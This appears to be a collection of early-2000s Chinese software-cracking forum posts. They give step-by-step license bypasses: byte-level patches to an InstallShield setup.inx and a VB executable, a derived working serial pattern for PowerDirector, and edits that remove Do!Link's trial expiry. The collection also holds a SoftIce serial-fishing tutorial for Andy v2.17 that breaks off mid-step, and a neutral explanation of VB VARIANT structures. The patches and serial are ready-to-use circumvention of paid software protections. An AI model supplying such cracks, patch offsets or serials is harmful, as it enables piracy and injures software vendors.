0002 －－－－ abort
0003 －－－－ exit
0004 －－－－ if
0005 －－－－ goto
0006 －－－－ ＝
0007 －－－－ +
0008 －－－－ %
0009 －－－－ <
000a －－－－ >
000b －－－－ <=
000c －－－－ >＝
000d －－－－ ==
000e －－－－ !=
000f －－－－ -
0010 －－－－ *
0011 －－－－ /
0012 －－－－ &
0013 －－－－ |
0014 －－－－ ^
0016 －－－－ <<
0017 －－－－ >>
0018 －－－－ ||
0019 －－－－ &&
001a －－－－ 逻辑&
0020 －－－－ 调用系统函数
0021 －－－－ 调用自定义函数
0022 －－－－ 自定义函数开始符
0023 －－－－ 带值返回
0024 －－－－ 不带值返回
.
.
.
.
（其余的可自己总结，此处只提供思路）

回到刚才的问题，在反编译的代码中找到begin这个关键词，它是整个程序的执行起点，相当于C语言的main()函数，在它下面不远处可看到安装出错的提示信息“无法验证硬件码，请先用注册程序生成硬件码验证文件！”，看到前面有一个跳转语句：
/* 00004E12: 0009 */ n3 = n3 < 0;
/* 00004E21: 0004 */ if(! n3) goto label_1;
好，改掉跳转条件，先将setup.inx备份。将00004E12处的“<”改成“>”就可以跳转了，在ultraedit中将00004E12处的0009改成000a。依此类推，改掉00004ECF，00004F68，00005010，000050E9，00005189，00005229几处的0009。同理，将000052E4，0000536C，00005532的000d改成000e即可，存盘退出，运行setup.exe，ok了。

再将需要修改的地方总结一下：
00004E12 ：0009 => 000A
00004ECF ：0009 => 000A
00004F68 ：0009 => 000A
00005010 ：0009 => 000A
000050E9 ：0009 => 000A
00005189 ：0009 => 000A
00005229 ：0009 => 000A

000052E4 ：000D => 000E
0000536C ：000D => 000E
00005532 ：000D => 000E

在此我只想讨论一下手工修改installshield的setup.inx来到达破旧的目的的可能性以及破解的一些思路。
可能以后会有类似wisdec的支持installshield6.x的的工具出现，那样就可以更方便的破解installshield了。

另外，我想请教一下各位高手，为什么这样修改的setup.inx没有修正crc却可以正确运行？


PowerDirector 1.00.06.9

 序 号:52350
标 题:PowerDirector 1.00.06.9 破解. 恭喜小球! (9千字)
发信人:S.M
时 间:2002-2-3 22:34:26
详细信息:
 PowerDirector 1.00.06.9 破解

『GUEOR(S.M)破解』

欢迎访问我的网页:sm.longcity.net
qq:5537188

看了高人Passion的一些文章后,才对破解Install sheild 产生了兴趣.谢谢Passion的破文,愿Passion能多写好的破文.

用isd将setup.inx反编译.如下:
拖动滚动条时发现"INVALIDCDKEY"字样,看来这就是弹出错误的对话的函数了.根据破解的一般手法,判断前的函数应是比较注册码了.运气好!

/* 00006383: 0021 */    function_4(g_str18);
/* 0000638C: 0006 */    g_number44 = LAST_RESULT;
/* 00006396: 000D */    g_number56 = g_number44 == 0;
/* 000063A5: 0004 */    if(! g_number56) goto label_16;->不等于0跳
/* 000063B1: 0021 */    function_343("INVALIDCDKEY");

return的值不能为0,进入function_4.可喜的是比较在脚本中进行,减小了难度,也不用跟踪了.^_^
function NUMBER function_4(s0)
STRING s1;
STRING s2;
STRING s3;
STRING s4;
STRING s5;
STRING s7;
STRING s8;
NUMBER n1;
NUMBER n2;
NUMBER n6;
begin
/* 0000ABC5: 0022 */    // -- Start Function Code -- //
/* 0000ABCE: 0021 */    function_537(s0); ->求注册码长度
/* 0000ABD7: 0006 */    n6 = LAST_RESULT;
/* 0000ABE1: 000E */    n6 = n6 != 16;

          ->n6=16(要16位)
/* 0000ABF0: 0004 */    if(! n6) goto label_146;  ->相等就跳
/* 0000ABFC: 0027 */    // -- Start Return Code -- //
/* 0000AC00: 0023 */    return 0;

label_146:
/* 0000AC0B: 0029 */  StrSub(s1, s0, 0, 2); ->s1为注册码前2位.
/* 0000AC1F: 0014 */    s8 = g_str25 ^ "CUSTOM.INI";
/* 0000AC36: 0021 */    function_384(s8, "PowerDirector", "KEY", g_str28);
/* 0000AC58: 0006 */    n6 = LAST_RESULT;
/* 0000AC62: 000D */    n6 = n6 == 0;
/* 0000AC71: 0004 */    if(! n6) goto label_147;
/* 0000AC7D: 0006 */    s5 = g_str28;
/* 0000AC87: 002B */    StrCompare(s1, s5);
/* 0000AC91: 0006 */    n6 = LAST_RESULT;
/* 0000AC9B: 000E */    n6 = n6 != 0;
/* 0000ACAA: 0004 */    if(! n6) goto label_147;
/* 0000ACB6: 0027 */    // -- Start Return Code -- //
/* 0000ACBA: 0023 */    return 0;

label_147:
/* 0000ACC5: 002B */    StrCompare(s1, "PR");
          ->s1="PR",即注册码前2位为 PR
/* 0000ACD1: 0006 */    n6 = LAST_RESULT;
/* 0000ACDB: 000E */    n6 = n6 != 0;
/* 0000ACEA: 0004 */    if(! n6) goto label_148;    ->相等就跳
/* 0000ACF6: 0027 */    // -- Start Return Code -- //
/* 0000ACFA: 0023 */    return 0;

label_148:
/* 0000AD05: 0029 */    StrSub(s3, s0, 2, 1);
    ->s3为注册码第3位
/* 0000AD19: 0029 */    StrSub(s4, s0, 13, 3);
    ->s4为注册码第14,15,16位
/* 0000AD2D: 0007 */    s7 = s3 + s4;
                ->s7为"(3+14+15+16)"
/* 0000AD3A: 002C */    StrToNum(n1, s7);
          ->字符串转换成数字n1
/* 0000AD44: 0006 */    n6 = LAST_RESULT;
/* 0000AD4E: 0009 */    n6 = n6 < 0;
/* 0000AD5D: 0004 */    if(! n6) goto label_149;
/* 0000AD69: 0027 */    // -- Start Return Code -- //
/* 0000AD6D: 0023 */    return 0;

label_149:
/* 0000AD78: 0029 */    StrSub(s2, s0, 3, 10);
      -> s2为注册码第4位~第13位(10个)
/* 0000AD8C: 002B */    StrCompare(s1, "PR");
/* 0000AD98: 0006 */    n6 = LAST_RESULT;
/* 0000ADA2: 000D */    n6 = n6 == 0;
/* 0000ADB1: 0004 */    if(! n6) goto label_150;
/* 0000ADBD: 0021 */    function_5(s2, 32);
/* 0000ADCB: 0006 */    n2 = LAST_RESULT;

label_150:
/* 0000ADD7: 000E */    n6 = n2 != n1;
            ->n1即(3+14+15+16)
/* 0000ADE4: 0004 */    if(! n6) goto label_151;
/* 0000ADF0: 0027 */    // -- Start Return Code -- //
/* 0000ADF4: 0023 */    return 0;

进入function_5:
〖function NUMBER function_5(s0, n0)
  --形参 s0=s2  n0=32
STRING s1;
STRING s2;
STRING s3;
NUMBER n1;
NUMBER n2;
NUMBER n3;
NUMBER n4;
NUMBER n5;
NUMBER n6;
NUMBER n7;
begin
/* 0000AE1A: 0022 */    // -- Start Function Code -- //
/* 0000AE23: 0006 */    n5 = 1;
/* 0000AE2F: 0021 */    function_6(s0, s1);  =>进入function_6(
  )
/* 0000AE3B: 0006 */    n6 = LAST_RESULT;    -->return n6=1
  s1="00000000000"
/* 0000AE45: 000D */    n7 = n6 == 0;
/* 0000AE54: 0004 */    if(! n7) goto label_153;    jump
/* 0000AE60: 0027 */    // -- Start Return Code -- //
/* 0000AE64: 0023 */    return n5;
        ( n5=1) 错!

进入function_6( ):
【function NUMBER function_6(s0, s1)        ->s0=s2
NUMBER n0;
NUMBER n1;
NUMBER n2;
NUMBER n3;
NUMBER n4;
begin
/* 0000B003: 0022 */    // -- Start Function Code -- //
/* 0000B00C: 0021 */    function_537(s0);
              -->求s0的长度
/* 0000B015: 0006 */    n1 = LAST_RESULT;
              -->n1=10
/* 0000B01F: 0009 */    n2 = n1 < 0;
/* 0000B02E: 0004 */    if(! n2) goto label_160;
/* 0000B03A: 0027 */    // -- Start Return Code -- //
/* 0000B03E: 0023 */    return 0;

label_160:
/* 0000B049: 0006 */    n0 = 0;
/* 0000B055: 000F */    n2 = n1 - 1;
        -->n2=9

label_161:
/* 0000B066: 000B */    n3 = n0 <= n2;
                -->循环10次
/* 0000B073: 0004 */    if(! n3) goto label_164;
/* 0000B07F: 001E */    n3 = s0[n0];      \
/* 0000B08C: 0009 */    n3 = n3 < 48;      |
/* 0000B09B: 001E */    n4 = s0[n0];        |
  ->判断10个字符在0~9之间
/* 0000B0A8: 000A */    n4 = n4 > 57;    /
/* 0000B0B7: 0018 */    n3 = n3 || n4;
/* 0000B0C4: 0004 */    if(! n3) goto label_162;  ->成立其一就不跳,不跳回比较简单.
s1会为"00000000000",后面转化为数字
成为0.那么填字母即可.
/* 0000B0D0: 001D */    s1[n0] = 48;  s1=0
      ->s1="00000000000"
/* 0000B0DF: 0005 */    goto label_163;

label_162:
/* 0000B0EA: 001E */    n3 = s0[n0];
    ->填数字的运算.
/* 0000B0F7: 001D */    s1[n0] = n3;

label_163:
/* 0000B106: 0007 */    n0 = n0 + 1;        ->n0++
/* 0000B115: 0005 */    goto label_161;

label_164:
/* 0000B120: 0027 */    // -- Start Return Code -- //
/* 0000B124: 0023 */    return 1;
/* 0000B12D: 0026 */    // -- Create Local Variables -- //
end; 】
return 全局变量s1="00000000000".

label_153:
/* 0000AE6D: 0006 */    n1 = 1;

label_154:
/* 0000AE7B: 000B */    n7 = n1 <= 2;
/* 0000AE8A: 0004 */    if(! n7) goto label_156;
/* 0000AE96: 0021 */    function_7(s1, s2, s3);
  =>进入function_7( )
/* 0000AEA5: 0006 */    n6 = LAST_RESULT;  =>return s2="000000"
  s3="000000"
/* 0000AEAF: 000D */    n7 = n6 == 0;
/* 0000AEBE: 0004 */    if(! n7) goto label_155;
/* 0000AECA: 0027 */    // -- Start Return Code -- //
/* 0000AECE: 0023 */    return 0;

=>进入function_7( )
【function NUMBER function_7(s0, s1, s2)  --形参 s0="000000000"
NUMBER n0;
NUMBER n1;
NUMBER n2;
NUMBER n3;
NUMBER n4;
begin
/* 0000B13B: 0022 */    // -- Start Function Code -- //
/* 0000B144: 0021 */    function_537(s0);
  ->求s0的长度
/* 0000B14D: 0006 */    n2 = LAST_RESULT;
      --n2=10
/* 0000B157: 0009 */    n3 = n2 < 0;
/* 0000B166: 0004 */    if(! n3) goto label_166;
/* 0000B172: 0027 */    // -- Start Return Code -- //
/* 0000B176: 0023 */    return 0;

label_166:
/* 0000B181: 0006 */    n1 = 0;
/* 0000B18D: 0006 */    n0 = 0;
/* 0000B199: 0011 */    n3 = n2 / 2;
/* 0000B1A8: 000F */    n3 = n3 - 1;
  ->n3=4

label_167:
/* 0000B1B9: 000B */    n4 = n0 <= n3;      -> 循环5次
/* 0000B1C6: 0004 */    if(! n4) goto label_168;
/* 0000B1D2: 001E */    n4 = s0[n1];
  \
/* 0000B1DF: 001D */    s1[n0] = n4;
  |s1="00000"
/* 0000B1EC: 0007 */    n1 = n1 + 1;
  |                ->s1,s2分别赋值
/* 0000B1FB: 001E */    n4 = s0[n1];
  |
/* 0000B208: 001D */    s2[n0] = n4;        /
  s2="00000"
/* 0000B215: 0007 */    n1 = n1 + 1;
/* 0000B224: 0007 */    n0 = n0 + 1;
/* 0000B233: 0005 */    goto label_167;

label_168:
/* 0000B23E: 0027 */    // -- Start Return Code -- //
/* 0000B242: 0023 */    return 1;
/* 0000B24B: 0026 */    // -- Create Local Variables -- //
end;】
return s2="000000" s3="000000"

label_155:
/* 0000AED9: 0007 */    s1 = s2 + s3;
    ->  s1="000000000000"
/* 0000AEE6: 0007 */    n1 = n1 + 1;
        -> n1=2
/* 0000AEF5: 0005 */    goto label_154;

label_156:
/* 0000AF00: 002C */    StrToNum(n2, s2);
  ->n2=0
/* 0000AF0A: 0006 */    n7 = LAST_RESULT;
/* 0000AF14: 0009 */    n7 = n7 < 0;
/* 0000AF23: 0004 */    if(! n7) goto label_157;
/* 0000AF2F: 0027 */    // -- Start Return Code -- //
/* 0000AF33: 0023 */    return n5;    n5=1

label_157:
/* 0000AF3C: 002C */    StrToNum(n3, s3);    -> n3=0
/* 0000AF46: 0006 */    n7 = LAST_RESULT;
/* 0000AF50: 0009 */    n7 = n7 < 0;
/* 0000AF5F: 0004 */    if(! n7) goto label_158;
/* 0000AF6B: 0027 */    // -- Start Return Code -- //
/* 0000AF6F: 0023 */    return n5;    n5=1

label_158:
/* 0000AF78: 0008 */    n2 = n2 % 1000;      ->n2=0
  |
/* 0000AF87: 0008 */    n3 = n3 % 10000;    ->n3=0
  |简单吧!
/* 0000AF96: 0007 */    n4 = n0 + 924;
  ->n4=956
/* 0000AFA5: 0007 */    n2 = n2 + n4;
  ->n2=956
/* 0000AFB2: 0007 */    n3 = n3 + n4;
  ->n3=956
/* 0000AFBF: 0010 */    n5 = n2 * n3;
  ->n5=913936
/* 0000AFCC: 0008 */    n5 = n5 % 9999;      ->n5=4027
/* 0000AFDB: 0007 */    n5 = n5 + 1;
    ->n5=4028
/* 0000AFEA: 0027 */    // -- Start Return Code -- //
/* 0000AFEE: 0023 */    return n5;
/* 0000AFF5: 0026 */    // -- Create Local Variables -- //
end;〗

label_151:
/* 0000ADFF: 0027 */    // -- Start Return Code -- //
/* 0000AE03: 0023 */    return 1;
/* 0000AE0C: 0026 */    // -- Create Local Variables -- //
end;

根据0000B066: 000B的循环,注册码第4位~第13位可填除数字外的任意字符.
即serial number:PR4XXXXXXXXXX028

不过只能运行在1024 * 768下,靠.只有卸了.
有空别忘了访问我的网页.呵呵呵呵呵呵呵呵....


Do!Link

 标 题:好东东大家分享一下，一个80K的小巧软件 (338字)
发信人:冰泉2001
时 间:2002-1-26 22:44:11
详细信息:
你是不是经常要在一个网页里复制网址，然后把它粘贴到浏览器中打开

？有了Do!Link这个软件,你就可以直接复制网址然后按右键→Do!Link
就可以打开它了。软件挺管用的，可惜有时间限制，但没有输入注册码

的地方，它安装后没有主程序，只是往Windows的system文件夹及注册

表添加了一些东西，俺菜鸟不知到如何破，哪位大哥有空就把它解了，

造福大家啊！

标 题:找到了 (180字)
发信人:mici2k
时 间:2002-1-27 13:26:03
详细信息:

C:\WINDOWS\SYSTEM\DLScr.htm
用编辑器打开发现是VBScript编写的,我不懂.不过>>>>>>
找到ExPireDate= #01/27/2002#这是我的安装日期
将其改为ExPireDate= #01/27/3002#这样就可以用1000年了.

标 题:可以永不过期，比用1000年强吧 (300字)
发信人:一一君
时 间:2002-1-28 12:13:33
详细信息:

删除下面的
if DateAdd("m",1,ExpireDate)>Now() or (DateAdd("d",45,ExpireDate)>Now() and rnd()>0.25) then
:
:
else
if DateAdd("d",45,ExpireDate)<Now() then
ShowThePopup("DLExpired.htm")
else
ShowThePopup("DLWarning.htm")
end if
end if

标 题:这是我改的,如果有会VBScript给纠正一下. (1千字)
发信人:mici2k
时 间:2002-1-28 19:30:11
详细信息:

DLScr.htm

<SCRIPT LANGUAGE="VBScript" defer>
<!--
Dim PopupBreite
Dim PopupHoehe
Dim ExpireDate

sub ShowThePopup(Which)
PosStr = "left=" & exwin.event.screenx
PosStr = PosStr & ",top=" & exwin.event.screeny
PosStr = PosStr & ",width=" & PopupBreite
PosStr = PosStr & ",height=" & PopupHoehe
PosStr = PosStr & ",resizable=no,scrollbars=no,menubar=no,toolbar=no,location=no,directories=no,status=no"
window.open Which,"popup", PosStr
end sub

PopupBreite = 400
PopupHoehe = 200

Randomize(Time())

set exwin = external.menuArguments
set sel = exwin.document.selection
set rng = sel.createRange()
Wort = rng.text

if Wort = "" then
set ptrng = exwin.document.body.createTextRange()
ptrng.moveToPoint exwin.event.x, exwin.event.y
ptrng.expand("word")
Wort = ptrng.text
end if

Wort = Trim(Wort)

if Instr(Wort,"@")>0 and Left(LCase(Wort),7) <> "http://" and Left(LCase(Wort),6) <> "ftp://" then
if Left(LCase(Wort),7) <> "mailto:" then Wort="mailto:" & Wort
else
if Left(LCase(Wort),7) <> "http://" and Left(LCase(Wort),6) <> "ftp://" then Wort="http://" & Wort
end if

window.open Wort

-->
</SCRIPT>

下面是导出的注册表文件.
REGEDIT4

[HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\MenuExt\Do!Link]
@="C:\\WINDOWS\\SYSTEM\\DLScr.htm"
"Contexts"=dword:00000010
"Flag"=dword:00000001

好象有这两个就行了,其他的文件:
DLOops.htm
DLExpired.htm
DLWarning.htm
oops.gif
x.GIF
NLRegEntry.exe
都可以删除了.


网页三叉戟3.0

 标 题:利用VB的函数快速破解VB程序! (2千字)
发信人:小球[CCG]
时 间:2001-11-3 14:53:43
详细信息:
利用VB的函数快速破解VB程序。
有人跟我说看见VB就犯愁，其实我也TMD讨厌VB编写的程序，但是你又不得不佩服它的易用性，而就是因为它有特殊的运行库，这样也给我们带来了方便，只要我们掌握他的几个函数就可以达到快速破解的目的，当然不是对所有的VB程序都是管用的。
下面我们来看一个例子帮助你来分析VB的程序，网页三叉戟3.0的破解过程。同时这个程序也采用了程序启动时再进行检验是否注册的典型程序，让我们来一同分析它吧！
来到注册的地方，输入用户名和注册码：
小球[CCG]
78787878
然后点注册。提示重新启动程序来判断是否注册成功！
用ice载入它，然后load它，来到程序的启动地方，然后下断点：bpx regqueryvalueexa do “d esp－>8”（这样你可以快速的达到你想要看到的东西）
然后按F5让程序运行，继续按下去，直到你看见了3次key这个注册表的标志。然后按F12来到程序的真正的领空：
:00428F14 FF15F8114000 Call dword ptr [004011F8]
:00428F1A 898520FFFFFF mov dword ptr [ebp+FFFFFF20], eax <----大概是停到这里，eax中就是你输入的假的注册码。
:00428F20 C78518FFFFFF08000000 mov dword ptr [ebp+FFFFFF18], 00000008
:00428F2A 8D9518FFFFFF lea edx, dword ptr [ebp+FFFFFF18]
:00428F30 8D4D8C lea ecx, dword ptr [ebp-74]

* Reference To: MSVBVM60.__vbaVarMove, Ord:0000h
|
:00428F33 FF1520104000 Call dword ptr [00401020]
:00428F39 C745FC0B000000 mov [ebp-04], 0000000B
:00428F40 C785BCFEFFFFB00E4200 mov dword ptr [ebp+FFFFFEBC], 00420EB0
:00428F4A C785B4FEFFFF08800000 mov dword ptr [ebp+FFFFFEB4], 00008008
:00428F54 8D45C0 lea eax, dword ptr [ebp-40]
:00428F57 50 push eax
:00428F58 8D8DB4FEFFFF lea ecx, dword ptr [ebp+FFFFFEB4]
:00428F5E 51 push ecx
通过反复的跟踪我始终没有发现有明码的比较，可见作者还是费了很大的心机的。你可以用Ctrl+PageDown向下查找有用的函数，翻了好久你可能看见了一些计算的函数，最终来到这儿：
* Reference To: MSVBVM60.__vbaVarTstEq, Ord:0000h
|
:00429329 FF150C114000 Call dword ptr [0040110C]
:0042932F 66898580FEFFFF mov word ptr [ebp+FFFFFE80], ax
:00429336 8D8D3CFFFFFF lea ecx, dword ptr [ebp+FFFFFF3C]
这里就是比较后的判断函数了，MSVBVM60.__vbaVarTstEq这个函数很是有趣，在《发了体育彩票2.3》中它也是判断是否注册的函数，下面就是怎么改的问题了。看看各个寄存器，发现只有ebx是1，好了就把0042932F 66898580FEFFFF mov word ptr [ebp+FFFFFE80], ax改为0042932F 66898580FEFFFF mov word ptr [ebp+FFFFFE80], bx
这样你就巧妙的爆破了这个程序。
幸运昕看到了吗？希望你试试！

小球[CCG]
2001.11.1


VB DLL中的函数

 标 题:解读 (6千字)
发信人:blowfish
时 间:2001-9-20 15:34:33
详细信息:
VB DLL（主要指msvbvm50.dll、msvbvm60.dll）中导出的函数没有正式文档描述，既不知道传递给函数的参数是什么，也不知道函数返回什么值，这对从汇编层次上理解VB程序的算法和流程造成了一定的困难。
VB程序使用的关键数据结构是VARIANT（MSDN中有描述），这是用作OLE Automation的一个通用结构，实际上是一个联合，其中可以存放各种标准的数据类型如LONG、BYTE、FLOAT、BSTR等。该结构中有一个标志用来指明在某一时刻该结构中具体存放的是哪种数据类型。不同的数据类型之间可以根据需要进行转换。
该结构的定义如下（#include <oaidl.h>）。其中vt就是用来表明实际存放的数据类型的标志。从该结构的偏移0x08处开始就是实际的数据。一般传给VB函数的参数都是某个VARIANT结构的指针，假定该指针的值放在寄存器eax中，则用"dd eax+8"（对于值类型）或"dd *(eax+8)"（对于指针类型）就可以看见传给该函数的实际参数值。知道这一点之后再去分析VB DLL中的函数相对来说就比较简单一些。

/* VARIANT STRUCTURE
*
* VARTYPE vt; //WORD
* WORD wReserved1;
* WORD wReserved2;
* WORD wReserved3;
* union {
* LONG VT_I4
* BYTE VT_UI1
* SHORT VT_I2
* FLOAT VT_R4
* DOUBLE VT_R8
* VARIANT_BOOL VT_BOOL
* SCODE VT_ERROR
* CY VT_CY
* DATE VT_DATE
* BSTR VT_BSTR
* IUnknown * VT_UNKNOWN
* IDispatch * VT_DISPATCH
* SAFEARRAY * VT_ARRAY
* BYTE * VT_BYREF|VT_UI1
* SHORT * VT_BYREF|VT_I2
* LONG * VT_BYREF|VT_I4
* FLOAT * VT_BYREF|VT_R4
* DOUBLE * VT_BYREF|VT_R8
* VARIANT_BOOL * VT_BYREF|VT_BOOL
* SCODE * VT_BYREF|VT_ERROR
* CY * VT_BYREF|VT_CY
* DATE * VT_BYREF|VT_DATE
* BSTR * VT_BYREF|VT_BSTR
* IUnknown ** VT_BYREF|VT_UNKNOWN
* IDispatch ** VT_BYREF|VT_DISPATCH
* SAFEARRAY ** VT_BYREF|VT_ARRAY
* VARIANT * VT_BYREF|VT_VARIANT
* PVOID VT_BYREF (Generic ByRef)
* CHAR VT_I1
* USHORT VT_UI2
* ULONG VT_UI4
* INT VT_INT
* UINT VT_UINT
* DECIMAL * VT_BYREF|VT_DECIMAL
* CHAR * VT_BYREF|VT_I1
* USHORT * VT_BYREF|VT_UI2
* ULONG * VT_BYREF|VT_UI4
* INT * VT_BYREF|VT_INT
* UINT * VT_BYREF|VT_UINT
* }
*/

标准数据类型VARTYPE的定义（#include <wtypes.h>）：

typedef unsigned short VARTYPE;

/*
* VARENUM usage key,
*
* * [V] - may appear in a VARIANT
* * [T] - may appear in a TYPEDESC
* * [P] - may appear in an OLE property set
* * [S] - may appear in a Safe Array
*
*
* VT_EMPTY [V] [P] nothing
* VT_NULL [V] [P] SQL style Null
* VT_I2 [V][T][P][S] 2 byte signed int
* VT_I4 [V][T][P][S] 4 byte signed int
* VT_R4 [V][T][P][S] 4 byte real
* VT_R8 [V][T][P][S] 8 byte real
* VT_CY [V][T][P][S] currency
* VT_DATE [V][T][P][S] date
* VT_BSTR [V][T][P][S] OLE Automation string
* VT_DISPATCH [V][T][P][S] IDispatch *
* VT_ERROR [V][T][P][S] SCODE
* VT_BOOL [V][T][P][S] True=-1, False=0
* VT_VARIANT [V][T][P][S] VARIANT *
* VT_UNKNOWN [V][T] [S] IUnknown *
* VT_DECIMAL [V][T] [S] 16 byte fixed point
* VT_RECORD [V] [P][S] user defined type
* VT_I1 [V][T][P][s] signed char
* VT_UI1 [V][T][P][S] unsigned char
* VT_UI2 [V][T][P][S] unsigned short
* VT_UI4 [V][T][P][S] unsigned short
* VT_I8 [T][P] signed 64-bit int
* VT_UI8 [T][P] unsigned 64-bit int
* VT_INT [V][T][P][S] signed machine int
* VT_UINT [V][T] [S] unsigned machine int
* VT_VOID [T] C style void
* VT_HRESULT [T] Standard return type
* VT_PTR [T] pointer type
* VT_SAFEARRAY [T] (use VT_ARRAY in VARIANT)
* VT_CARRAY [T] C style array
* VT_USERDEFINED [T] user defined type
* VT_LPSTR [T][P] null terminated string
* VT_LPWSTR [T][P] wide null terminated string
* VT_FILETIME [P] FILETIME
* VT_BLOB [P] Length prefixed bytes
* VT_STREAM [P] Name of the stream follows
* VT_STORAGE [P] Name of the storage follows
* VT_STREAMED_OBJECT [P] Stream contains an object
* VT_STORED_OBJECT [P] Storage contains an object
* VT_BLOB_OBJECT [P] Blob contains an object
* VT_CF [P] Clipboard format
* VT_CLSID [P] A Class ID
* VT_VECTOR [P] simple counted array
* VT_ARRAY [V] SAFEARRAY*
* VT_BYREF [V] void* for local use
* VT_BSTR_BLOB Reserved for system use
*/

enum VARENUM
{ VT_EMPTY = 0,
VT_NULL = 1,
VT_I2 = 2,
VT_I4 = 3,
VT_R4 = 4,
VT_R8 = 5,
VT_CY = 6,
VT_DATE = 7,
VT_BSTR = 8,
VT_DISPATCH = 9,
VT_ERROR = 10,
VT_BOOL = 11,
VT_VARIANT = 12,
VT_UNKNOWN = 13,
VT_DECIMAL = 14,
VT_I1 = 16,
VT_UI1 = 17,
VT_UI2 = 18,
VT_UI4 = 19,
VT_I8 = 20,
VT_UI8 = 21,
VT_INT = 22,
VT_UINT = 23,
VT_VOID = 24,
VT_HRESULT = 25,
VT_PTR = 26,
VT_SAFEARRAY = 27,
VT_CARRAY = 28,
VT_USERDEFINED = 29,
VT_LPSTR = 30,
VT_LPWSTR = 31,
VT_RECORD = 36,
VT_FILETIME = 64,
VT_BLOB = 65,
VT_STREAM = 66,
VT_STORAGE = 67,
VT_STREAMED_OBJECT = 68,
VT_STORED_OBJECT = 69,
VT_BLOB_OBJECT = 70,
VT_CF = 71,
VT_CLSID = 72,
VT_BSTR_BLOB = 0xfff,
VT_VECTOR = 0x1000,
VT_ARRAY = 0x2000,
VT_BYREF = 0x4000,
VT_RESERVED = 0x8000,
VT_ILLEGAL = 0xffff,
VT_ILLEGALMASKED = 0xfff,
VT_TYPEMASK = 0xfff
};

VB DLL还调用了oleauto32.dll中的部分函数。oleauto32.dll是个通用的proxy/stub DLL，其每个函数的原型在<oleauto.h>中定义，并在MSDN中有详细描述。这也有助于理解VB DLL中的函数的作用。

举例：

LEA EAX, [EBP-58]
PUSH EAX
CALL [MSVBVM60!__vbaI4Var]

执行call之前敲dd eax+8，得到的值为3；
执行完call之后，eax = 3
从而可知__vbaI4Var的作用是将一个VARIANT转换为I4（即一个长整数）。


Andy v2.17

 标 题:来一篇VB的破解教程，看看作者的断点下到了什么地方，得好好消化消化了，嘿嘿，喜欢VB的和痛恨VB的都来看看... (9千字)
发信人:CrackerABC[BCG]
时 间:2001-12-30 8:34:15
详细信息:
标题: 来一篇VB的破解教程，看看作者的断点下到了什么地方，得好好消化消化了，嘿嘿，喜欢VB的和痛恨VB的都来看看哦。（转帖）

内容:

THE LESS ATTITUDE OF FISHING SERIAL NUMBER

Andy v2.17
A Piratical Tutes
by ASTAGA [CiA/TTM] - The Tutorial Machine

WHAT THE ROCK SAYS

Andy is a Windows Rename utility especially designed
for managing picture and music files.

Features:

o Rename Files or Folders in a Single Click
o Rename Files or Folders using Sequential Numbering or Lettering
o Create New Names based on the Original Name
o Change the Case of File or Folder Names
o Word List support and user template for Change Case
o Set the File Date and Time
o Set the File or Folder Attributes
o Move, Copy and Delete Files or Folders
o Rename Files and Folders with Search and Replace
o Arrange Pictures for numbering via Thumbnail Images
o Full size Picture Viewer linked to the Rename List
o Edit MP3 Tags
o Subfolder Support for most Actions
o MS Office Style Toolbars
o Drag and Drop Support
o Favorites List
o Template support for saving and reusing New Names
o Plus much More!

o

!!WARNING!!
Andy does exactly what you tell it. If you rename, delete
or move system or software files... your computer may stop
functioning.

SMELL THE ROCK

Realm Softwarre
http://www.realm-online.com/html/products/andyintro.htm
http://www.realm-online.com/html/products/andydown.htm
http://www.realm-online.com/ftp/Andy217.exe
(1.7Mb) - 2/6/2001

THE DUSTY ROADS

o Andy was developed using Visual Basic 6.0 (Service Pack 4).
Visual Basic 6.0 requires a one time installation of the
VB6 runtime library. If your using other Visual Basic 6.0
software you don't need to install the library again.
It won't hurt to install the library again if your unsure.
Download (vbrun60sp4.exe) :
http://www.realm-online.com/ftp/vbrun60sp4.exe

o When the program is VB then try SoftIce first.
When the going gets tough try SmartCheck.
When the tough gets tough decompiled them.
When frustrated comes, buy the program!
( ASTAGA 7388:1050 HELL YEAH )

o This is my experiment on finding valid s/n over VB6
based program.
All you have to do is break within MSVBVM60.DLL
function ( you can set breakpoint that may posible
i.e __vbastrcopy ; __vbastrmove ; etc. - please read
Eternal Bliss' essay ); then do a search byte and
finally press F5 or F11 keys around 27 times.
And there lies your real code in EDI register.

o

THIS IS A SMELL OF THE ROCK

Run ANDY.EXE, in the registration dialog box type
these below informations :

User Name : Red Rackham
Reg Code : 73881050

Do not click OK button yet

Load SoftIce, set a breakpoint as follow :

: BPX HEAPFREE [enter]
F5 to return to the main program

Now, click OK button, you'll return back into SoftIce!
Within SoftIce press F5 2 times then F11 once, until
you see and break at these below snippet codes :

______________________________________________________________

015F:6602CB07 FF15C4100066 CALL [KERNEL32!HeapFree]
015F:6602CB0D 8BC6 MOV EAX,ESI
015F:6602CB0F 5F POP EDI
015F:6602CB10 5E POP ESI
015F:6602CB11 5D POP EBP
015F:6602CB12 C20C00 RET 000C ==> F10
...
015F:6605F1A3 E80FD9FCFF CALL 6602CAB7
015F:6605F1A8 C20800 RET 0008 ==> F10
...
015F:004F653A FF92A0000000 CALL [EDX+000000A0] <== bpx here
015F:004F6540 DBE2 FCLEX <== break here
015F:004F6542 898514FFFFFF MOV [EBP-00EC],EAX
015F:004F6548 83BD14FFFFFF00 CMP DWORD PTR [EBP-00EC],00
015F:004F654F 7D26 JGE 004F6577
015F:004F6551 68A0000000 PUSH 000000A0
015F:004F6556 68C4EB4400 PUSH 0044EBC4
015F:004F655B 8B8D18FFFFFF MOV ECX,[EBP-00E8]
015F:004F6561 51 PUSH ECX
015F:004F6562 8B9514FFFFFF MOV EDX,[EBP-00EC]
015F:004F6568 52 PUSH EDX
015F:004F6569 FF1588104000 CALL [MSVBVM60!__vbaHresultCheckObj]
015F:004F656F 8985D0FEFFFF MOV [EBP-0130],EAX
015F:004F6575 EB0A JMP 004F6581
015F:004F6577 C785D0FEFFFF00
000000 MOV DWORD PTR [EBP-0130],00000000
015F:004F6581 8B45D4 MOV EAX,[EBP-2C]
015F:004F6584 8985E8FEFFFF MOV [EBP-0118],EAX
015F:004F658A C745D400000000 MOV DWORD PTR [EBP-2C],00000000
015F:004F6591 8B8DE8FEFFFF MOV ECX,[EBP-0118]
015F:004F6597 894DB4 MOV [EBP-4C],ECX
...
_____________________________________________________________________

When you break on HEAPFREE just step pass those 2 RET commands
and set a new breakpoint as follows :

: bd * [enter]
: bpx 015F:004F653A

Start tracing by pressing F10 - stop at 015F:004F6584 - dump
EAX register :

: d eax [enter] ==> your name appear at virtual
address 0167:0058A590.

Still at 015F:004F6584, do a search byte and type in the
Command Line as follows :

